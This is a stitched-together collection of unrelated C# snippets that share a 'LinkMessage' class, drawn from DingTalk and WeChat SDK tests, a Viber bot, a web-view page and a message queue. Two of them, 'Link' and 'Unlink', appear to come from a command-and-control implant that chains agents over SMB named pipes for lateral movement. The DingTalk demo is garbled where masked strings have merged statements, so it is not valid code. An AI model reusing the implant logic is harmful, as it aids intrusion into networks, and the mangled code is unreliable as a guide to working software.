public WebViewPage(LinkMessage link) { Title = link.Title; var view = new WebView() { Source = link.URL }; Content = view; }
public void TestMethod2() { LinkMessage link = new LinkMessage { Text = "这个即将发布的新版本,创始人陈航(花名“无招”)称它为“红树林”。而在此之前,每当面临重大升级,产品经理们都会取一个应景的代号,这一次,为什么是“红树林”?", Title = "时代的火车向前开", PicUrl = "", MessageUrl = "https://mp.weixin.qq.com/s?__biz=MzA4NjMwMTA2Ng==&mid=2650316842&idx=1&sn=60da3ea2b29f1dcc43a7c8e4a7c97a16&scene=2&srcid=09189AnRJEdIiWVaKltFzNTw&from=timeline&isappinstalled=0&key=&ascene=2&uin=&devicetype=android-23&version=26031933&nettype=WIFI" }; DingDingClient.SendMessageAsync(WebHookUrl, link).Wait(); }
/// <summary> /// xml字符串解析为消息 /// </summary> /// <param name="xml"></param> /// <returns></returns> public PushBase XmlToMessage(string xml) { XmlUtils deserialize = new XmlUtils(xml); string msgtype = deserialize.GetValue("/xml/MsgType").ToLower(); PushBase message = null; switch (msgtype) { //普通消息 case "text": message = new TextMessage(); break; case "image": message = new ImageMessage(); break; case "voice": message = new VoiceMessage(); break; case "video": message = new VideoMessage(); break; case "shortvideo": message = new ShortVideoMessage(); break; case "location": message = new LocationMessage(); break; case "link": message = new LinkMessage(); break; //事件推送 case "event": message = GetEventModel(deserialize); break; default: return(null); } deserialize.FillModel(message); return(message); }
public void LinkMessageTest() { LinkMessage message = new LinkMessage { link = new LinkMessageItem { title = "GitLab 时代的火车向前开", messageUrl = "https://mp.weixin.qq.com/s?__biz=MzA4NjMwMTA2Ng==&mid=2650316842&idx=1&sn=60da3ea2b29f1dcc43a7c8e4a7c97a16&scene=2&srcid=09189AnRJEdIiWVaKltFzNTw&from=timeline&isappinstalled=0&key=&ascene=2&uin=&devicetype=android-23&version=26031933&nettype=WIFI", picUrl = "", text = @"这个即将发布的新版本,创始人陈航(花名“无招”)称它为“红树林”。而在此之前,每当面临重大升级,产品经理们都会取一个应景的代号,这一次,为什么是“红树林”?" } }; var result = DingtalkClient.SendMessageAsync(webHookUrl, message).Result; Assert.Equal(0, result.errcode); }
private static void Unlink(Job job, Agent implant) { LinkMessage linkMsg = JsonConvert.DeserializeObject <LinkMessage>(job.Task.parameters); string agentUUID = linkMsg.connection_info.agent_uuid; string message; if (agentUUID == null || agentUUID == "") { job.SetError($"Could not unlink from {linkMsg.connection_info.host} as no agent UUID could be parsed."); } else { // In the future, we need to change DelegateNodes to a list of delegate nodes, // which is then filtered down for unlinking and passing messages. Current model // will not support multiple P2P agents from one host to another. if (!implant.DelegateNodes.ContainsKey(agentUUID)) { job.SetError($"No such connection to {linkMsg.connection_info.host} (Agent {linkMsg.connection_info.agent_uuid} using {linkMsg.connection_info.c2_profile.name.ToUpper()}) exists."); return; } DelegateNode dg = implant.DelegateNodes[agentUUID]; switch (linkMsg.connection_info.c2_profile.name.ToLower()) { case "smbserver": SMBClientProfile hLinkedAgentProfile = (SMBClientProfile)dg.NodeRelay.MessageProducer; var unlinkMsg = new UnlinkMessage() { action = "unlink" }; message = JsonConvert.SerializeObject(unlinkMsg); hLinkedAgentProfile.Send("", message); implant.RemoveDelegateNode(agentUUID); job.SetComplete($"Successfully unlinked {linkMsg.connection_info.host} ({linkMsg.connection_info.c2_profile.name.ToUpper()})"); break; default: job.SetError($"Unknown peer-to-peer profile \"{linkMsg.connection_info.c2_profile.name}\""); break; } } }
public static async Task Execute(CallbackData data) { //отправить подтверждение var receiver = data.Sender.Id; var helpFile = client.Settings.HelpFile; var message = new KeyboardMessage { Receiver = receiver, Sender = client.BotUserData, Text = $"Добрый день я бот который помогает учитывать данные счетчика электроэнерги. Инструкцию по использованию можно найти по адресу {helpFile.Url}.", TrackingData = ViberBotTrackingData.Empty(), Keyboard = KeyboardHandler.MainMenu }; await client.SendMessage(receiver, message); var helpLink = new LinkMessage { Receiver = receiver, Sender = client.BotUserData, Media = helpFile.Url, }; await client.SendMessage(receiver, helpLink); var filemessage = new FileMessage { Receiver = receiver, Sender = client.BotUserData, Media = helpFile.Url, Size = helpFile.Size, FileName = helpFile.FileName }; await client.SendMessage(receiver, filemessage); await DefaultAction.Execute(data); }
protected virtual string ProcessLinkMessage(LinkMessage msg) { return(DefaultProcess(msg)); }
public void UpdateData(LinkMessage message) { title.Text = message.Title; text.Text = message.ExtractedContent; }
public MessageHolder(LinkMessage<byte[]> message, CancellationToken cancellation) { Message = message; Cancellation = cancellation; }
public void Enqueue(byte[] body, LinkMessageProperties properties, LinkRecieveMessageProperties recieveProperties, LinkMessageOnAckAsyncDelegate onAck, LinkMessageOnNackAsyncDelegate onNack) { if (_disposedCancellation.IsCancellationRequested) throw new ObjectDisposedException(GetType().Name); var cancellation = _messageCancellation; try { var message = new LinkMessage<byte[]>(body, properties, recieveProperties, onAck, onNack, cancellation); var holder = new MessageHolder(message, cancellation); _messageQueue.Enqueue(holder, cancellation); } catch (InvalidOperationException) { throw new ObjectDisposedException(GetType().Name); } }
public virtual void PerformLinkSelection(LinkMessage link) { WebViewPage page = new WebViewPage(link); Navigation.PushAsync(page); }
public string Handle(LinkMessage message) { return(Consts.Success); }
private static void Link(Job job, Agent implant) { LinkMessage linkMsg = JsonConvert.DeserializeObject <LinkMessage>(job.Task.parameters); ConnectionInfo connInfo = linkMsg.connection_info; C2ProfileInfo profileInfo = connInfo.c2_profile; C2Profile profile; bool outbound; ApolloTaskResponse response; switch (profileInfo.name.ToLower()) { case "smbserver": string pipeName = profileInfo.parameters["PIPE_NAME".ToLower()]; string hostName = connInfo.host; try { profile = new SMBClientProfile(pipeName, hostName, implant.Profile.cryptor); } catch (Exception ex) { job.SetError(String.Format("Failed to link to {0} over named pipe \"{1}\". Reason: {2}", hostName, pipeName, ex.Message)); break; } SMBRelay relay = new SMBRelay((SMBClientProfile)profile, implant.Profile, job.Task.id); outbound = true; string newAgentGUIDMsg = Guid.NewGuid().ToString(); Thread t = new Thread(() => relay.BeginRelay(newAgentGUIDMsg)); t.Start(); string tempLinkedUUID = (string)MessageInbox.Inbox.GetMessage(newAgentGUIDMsg); DelegateNode delegateNode = new DelegateNode() { // AgentUUID = tempLinkedUUID, NodeRelay = relay, // TemporaryUUID = true, OutboundConnect = outbound, OriginatingTaskID = job.Task.id, AgentComputerName = hostName, ProfileInfo = profileInfo }; EdgeNode en = new EdgeNode() { source = implant.uuid, destination = tempLinkedUUID, direction = 1, // from source to dest metadata = "", action = "add", c2_profile = profileInfo.name }; if (tempLinkedUUID.StartsWith("staging-")) { tempLinkedUUID = tempLinkedUUID.Replace("staging-", ""); delegateNode.AgentUUID = tempLinkedUUID; delegateNode.TemporaryUUID = true; //string linkedUUID = relay.InitializeRelay(); implant.AddDelegateNode(tempLinkedUUID, delegateNode); string realUUID = (string)MessageInbox.Inbox.GetMessage(newAgentGUIDMsg); //Thread t = new Thread(() => relay.BeginRelay(newAgentGUIDMsg)); //t.Start(); implant.RemoveDelegateNode(tempLinkedUUID); delegateNode.AgentUUID = realUUID; delegateNode.TemporaryUUID = false; implant.AddDelegateNode(realUUID, delegateNode); en.destination = realUUID; } else { // this is a real uuid already staged delegateNode.AgentUUID = tempLinkedUUID; delegateNode.TemporaryUUID = false; implant.AddDelegateNode(tempLinkedUUID, delegateNode); } response = new ApolloTaskResponse(job.Task, $"Established link to {hostName}", new EdgeNode[] { en }); //implant.TryPostResponse(response); //implant.Profile.Send(JsonConvert.SerializeObject(new EdgeNodeMessage() //{ // edges = new EdgeNode[] { en } //})); job.SetComplete(response); //relay.BeginRelay(); break; default: job.SetError("Unsupported code path in LinkManager."); break; } }
public static IMessage GetMessage(this SavedData savedData) { return(LinkMessage.TryCreateLinkMessageIfNeeded(savedData.Message, savedData.IsLink)); }
public string LinkMessageHandler(LinkMessage message) { return("success"); }
static void Main(string[] args) { try { //请改写你的配置 Vars.AGENT_ID = ""; Env.CORP_ID = ""; Env.SECRET = ""; Env.CREATE_SUITE_KEY = ""; Env.SUITE_KEY = ""; Env.SUITE_SECRET = ""; Env.TOKEN = ""; Env.ENCODING_AES_KEY = ""; // 获取access token string accessToken = AuthHelper.getAccessToken(); log("成功获取access token: ", accessToken); // 获取jsapi ticket String ticket = AuthHelper.getJsapiTicket(accessToken); log("成功获取jsapi ticket: ", ticket); // 获取签名 String nonceStr = "nonceStr"; long timeStamp = Convert.ToInt64(DateTime.Now.Subtract(DateTime.Parse("1970-1-1")).TotalMilliseconds);//System.currentTimeMillis(); String url = "http://www.dingtalk.com"; String signature = AuthHelper.sign(ticket, nonceStr, timeStamp, url); log("成功签名: ", signature); //获取部门列表 List <Department> list = DepartmentHelper.listDepartments(accessToken); log("成功获取部门列表", list); //创建部门 String name = "TestDept.16"; String parentId = "1"; String order = "1"; var depttmp = list.Find(dp => dp.name == name); if (depttmp != null) { DepartmentHelper.deleteDepartment(accessToken, long.Parse(depttmp.id)); } long departmentId = DepartmentHelper.createDepartment(accessToken, name, parentId, order); log("成功创建部门", name, " 部门id=", departmentId); //更新部门 DepartmentHelper.updateDepartment(accessToken, name, parentId, order, departmentId); log("成功更新部门", " 部门id=", departmentId); var usrlist = UserHelper.getDepartmentUser(accessToken, departmentId); var userf = usrlist.Find(usr => usr.userid == "id_yuhuan"); if (userf != null) { UserHelper.deleteUser(accessToken, userf.userid); log("用户删除成功", name, " 用户ID=", userf.userid); } //创建成员 User user = new User("id_yuhuan", "name_yuhuan"); user.email = "*****@*****.**"; user.mobile = "18645512324"; user.department = new List <long>(); user.department.Add(departmentId); UserHelper.createUser(accessToken, user); log("成功创建成员", "成员信息=", user); //上传图片 FileInfo file = new FileInfo("1111.PNG"); MediaHelper.MediaUploadResult uploadResult = MediaHelper.upload(accessToken, MediaHelper.TYPE_IMAGE, file); log("成功上传图片", uploadResult); //下载图片 String fileDir = "1111.PNG"; MediaHelper.download(accessToken, uploadResult.media_id, fileDir); log("成功下载图片"); TextMessage textMessage = new TextMessage("TextMessage"); ImageMessage imageMessage = new ImageMessage(uploadResult.media_id); LinkMessage linkMessage = new LinkMessage("http://www.baidu.com", "@lALOACZwe2Rk", "Link Message", "This is a link message"); //创建oa消息 OAMessage oaMessage = new OAMessage(); oaMessage.message_url = "http://www.dingtalk.com"; OAMessage.Head head = new OAMessage.Head(); head.bgcolor = "FFCC0000"; oaMessage.head = head; OAMessage.Body body = new OAMessage.Body(); body.title = "征婚启事"; OAMessage.Body.Form form1 = new OAMessage.Body.Form(); form1.key = "姓名"; form1.value = "刘增产"; OAMessage.Body.Form form2 = new OAMessage.Body.Form(); form2.key = "年龄"; form2.value = "18"; body.form = new List <OAMessage.Body.Form>(); body.form.Add(form1); body.form.Add(form2); OAMessage.Body.Rich rich = new OAMessage.Body.Rich(); rich.num = "5"; rich.unit = "毛"; body.rich = rich; body.content = "这是一则严肃的征婚启事。不约。"; body.image = ""; body.file_found = "3"; body.author = "识器"; oaMessage.body = body; //发送微应用消息 String toUsers = Vars.TO_USER; String toParties = ""; // Vars.TO_PARTY; String agentId = Vars.AGENT_ID; foreach (var item in list) { toParties += item.id + "|"; } LightAppMessageDelivery lightAppMessageDelivery = new LightAppMessageDelivery(toUsers, toParties, agentId); lightAppMessageDelivery.withMessage(textMessage); MessageHelper.send(accessToken, lightAppMessageDelivery); log("成功发送 微应用文本消息"); lightAppMessageDelivery.withMessage(imageMessage); MessageHelper.send(accessToken, lightAppMessageDelivery); log("成功发送 微应用图片消息"); lightAppMessageDelivery.withMessage(linkMessage); MessageHelper.send(accessToken, lightAppMessageDelivery); log("成功发送 微应用link消息"); lightAppMessageDelivery.withMessage(oaMessage); MessageHelper.send(accessToken, lightAppMessageDelivery); log("成功发送 微应用oa消息"); //发送会话消息 String sender = Vars.SENDER; String cid = Vars.CID; ConversationMessageDelivery conversationMessageDelivery = new ConversationMessageDelivery(sender, cid, agentId); conversationMessageDelivery.withMessage(textMessage); MessageHelper.send(accessToken, conversationMessageDelivery); log("成功发送 会话文本消息"); conversationMessageDelivery.withMessage(imageMessage); MessageHelper.send(accessToken, conversationMessageDelivery); log("成功发送 会话图片消息"); conversationMessageDelivery.withMessage(linkMessage); MessageHelper.send(accessToken, conversationMessageDelivery); log("成功发送 会话link消息"); //更新成员 user.mobile = "18612341234"; UserHelper.updateUser(accessToken, user); log("成功更新成员", "成员信息=", user); //获取成员 UserHelper.getUser(accessToken, user.userid); log("成功获取成员", "成员userid=", user.userid); //获取部门成员 List <User> userList = UserHelper.getDepartmentUser(accessToken, departmentId); log("成功获取部门成员", "部门成员user="******"成功获取部门成员详情", "部门成员详情user="******"id_yuhuan2", "name_yuhuan2"); user2.email = "*****@*****.**"; user2.mobile = "18611111111"; user2.department = new List <long>(); user2.department.Add(departmentId); UserHelper.createUser(accessToken, user2); List <String> useridlist = new List <String>(); useridlist.Add(user.userid); useridlist.Add(user2.userid); UserHelper.batchDeleteUser(accessToken, useridlist); log("成功批量删除成员", "成员列表useridlist=", useridlist); //删除成员 User user3 = new User("id_yuhuan3", "name_yuhuan3"); user3.email = "*****@*****.**"; user3.mobile = "18611111111"; user3.department = new List <long>(); user3.department.Add(departmentId); UserHelper.createUser(accessToken, user3); UserHelper.deleteUser(accessToken, user3.userid); log("成功删除成员", "成员userid=", user3.userid); //删除部门 DepartmentHelper.deleteDepartment(accessToken, departmentId); log("成功删除部门", " 部门id=", departmentId); } catch (OApiException e) { e.printStackTrace(); } }
public virtual string LinkMessageHandler(LinkMessage message) { return "success"; }